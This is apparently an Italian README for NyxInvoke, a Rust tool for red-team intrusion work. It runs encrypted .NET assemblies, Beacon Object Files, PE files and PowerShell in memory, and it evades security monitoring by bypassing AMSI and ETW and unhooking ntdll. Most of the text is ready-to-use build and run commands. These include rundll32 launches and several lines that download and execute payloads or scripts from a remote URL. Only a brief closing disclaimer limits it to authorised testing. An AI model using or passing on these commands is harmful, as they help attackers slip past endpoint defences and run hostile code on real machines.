
NyxInvoke è uno strumento CLI in Rust per eseguire assembly .NET, PowerShell e BOF con funzionalità di bypass Patchless di AMSI ed ETW. con supporto Dual-build.
NyxInvoke è uno strumento versatile basato su Rust progettato per eseguire assembly .NET, comandi/script PowerShell, Beacon Object Files (BOF) e file PE, con funzionalità integrate di Ntdll Unhooking, bypass patchless di AMSI ed ETW. Può essere compilato sia come eseguibile standalone che come DLL.
NyxInvoke può essere compilato come eseguibile o come DLL. Usa i seguenti comandi:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib
Per includere dati CLR, BOF o PE incorporati, aggiungi le rispettive feature:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke
oppure
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib
L'eseguibile supporta tre modalità principali di funzionamento:
NyxInvoke.exe <mode> [OPTIONS]
Dove <mode> è uno tra: clr, ps, bof o pe.
Quando compilato come DLL, NyxInvoke può essere eseguito tramite rundll32. La sintassi è:
rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]
Execute Common Language Runtime (CLR) assemblies
Usage: NyxInvoke.exe clr [OPTIONS]
Options:
-a, --args <ARGS>... Arguments to pass to the assembly
-b, --base <URL_OR_PATH> Base URL or path for resources
-k, --key <KEY_FILE> Path to the encryption key file
-i, --iv <IV_FILE> Path to the initialization vector (IV) file
-f, --assembly <ASSEMBLY_FILE> Path or URL to the encrypted assembly file to execute
-u, --unencrypted Whether the assembly is unencrypted (default is encrypted)
-h, --help Print help (see more with '--help')
Example: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Execute Beacon Object Files (BOF)
Usage: NyxInvoke.exe bof [OPTIONS]
Options:
-a, --args <ARGS>... Arguments to pass to the BOF
-b, --base <URL_OR_PATH> Base URL or path for resources
-k, --key <KEY_FILE> Path to the encryption key file
-i, --iv <IV_FILE> Path to the initialization vector (IV) file
-f, --bof <BOF_FILE> Path or URL to the encrypted BOF file to execute
-u, --unencrypted Whether the BOF is unencrypted (default is encrypted)
-h, --help Print help (see more with '--help')
Example: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Execute Portable Executable (PE) files
Usage: NyxInvoke.exe pe [OPTIONS]
Options:
-a, --args <ARGS>... Arguments to pass to the PE
-b, --base <URL_OR_PATH> Base URL or path for resources
-k, --key <KEY_FILE> Path to the encryption key file
-i, --iv <IV_FILE> Path to the initialization vector (IV) file
-f, --pe <PE_FILE> Path or URL to the encrypted PE file to execute
-u, --unencrypted Whether the PE is unencrypted (default is encrypted)
-h, --help Print help (see more with '--help')
Example: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Execute PowerShell commands or scripts
Usage: NyxInvoke.exe ps [OPTIONS]
Options:
-c, --command <PS_COMMAND> PowerShell command to execute
-s, --script <PS_SCRIPT> Path or URL to the PowerShell script to execute
-h, --help Print help (see more with '--help')
Examples:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1
Modalità CLR (esecuzione remota):
NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
Modalità PowerShell (esecuzione di script):
NyxInvoke.exe ps --script C:\path\to\script.ps1
Modalità BOF (esecuzione locale):
NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
Modalità PE (esecuzione con file PE incorporato):
NyxInvoke.exe pe --args arg1
Modalità CLR (esecuzione remota):
rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
Modalità PowerShell (esecuzione diretta di comandi):
rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
Modalità BOF (esecuzione con BOF incorporato):
rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
Modalità PE (esecuzione locale non crittografata):
rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
Nella directory resources troverai diversi file per testare le funzionalità di NyxInvoke:
Assembly CLR crittografato (Seatbelt):
clr_data.encNyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
BOF crittografato (elenco directory):
bof_data.encNyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
PE crittografato (Message Box):
pe_data.encNyxInvoke.exe pe
PowerShell (Message Box):
ps.ps1NyxInvoke.exe ps -s http://example.com/ps.ps1




Questo strumento è destinato esclusivamente a scopi educativi e di test autorizzati. Assicurati di disporre delle autorizzazioni appropriate prima dell'uso in qualsiasi ambiente.